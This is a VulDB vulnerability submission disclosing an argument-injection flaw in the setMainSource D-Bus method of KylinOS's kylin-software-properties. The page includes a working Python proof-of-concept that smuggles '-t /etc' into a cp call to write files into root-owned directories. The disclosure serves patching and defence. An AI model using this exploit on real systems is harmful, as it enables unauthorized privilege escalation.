| 제목 | Kylin OS kylin-software-properties arbitrary file write vuln |
|---|
| 설명 | Report
Describe
Kylin-software-properties is a component used to set system software properties on KylinOS Desktop. The setMainSource function of this component has an arbitrary file write vulnerability. The implementation method is to call the command "cp file /etc/apt/sources.list". However, if the parameter passed is "['-t /etc /path/to/evil.txt']", the developer will split this string by space and pass it as a parameter to the cp command during implementation. Therefore, the command "cp -t /etc /path/to/evil.txt /etc/apt/sources.list" will be triggered, thereby achieving arbitrary file write in any folder. This can lead to elevation of privileges for regular users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def set_main_source(target_dir, src_file):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
proxy.setMainSource([f'-t {target_dir} {src_file}'])
os.system('touch set_main_source.txt')
set_main_source("/etc", os.path.realpath('./set_main_source.txt'))
os.system('ls -l /etc/set_main_source.txt')
os.system('rm set_main_source.txt') |
|---|
| 원천 | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul2.md |
|---|
| 사용자 | Set3r.Pan (UID 28571) |
|---|
| 제출 | 2023. 05. 22. AM 10:03 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 06. 05. AM 07:08 (14 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 230687 [KylinSoft kylin-software-properties 전에 0.0.1-130 켜짐 KylinOS setMainSource 권한 상승] |
|---|
| 포인트들 | 20 |
|---|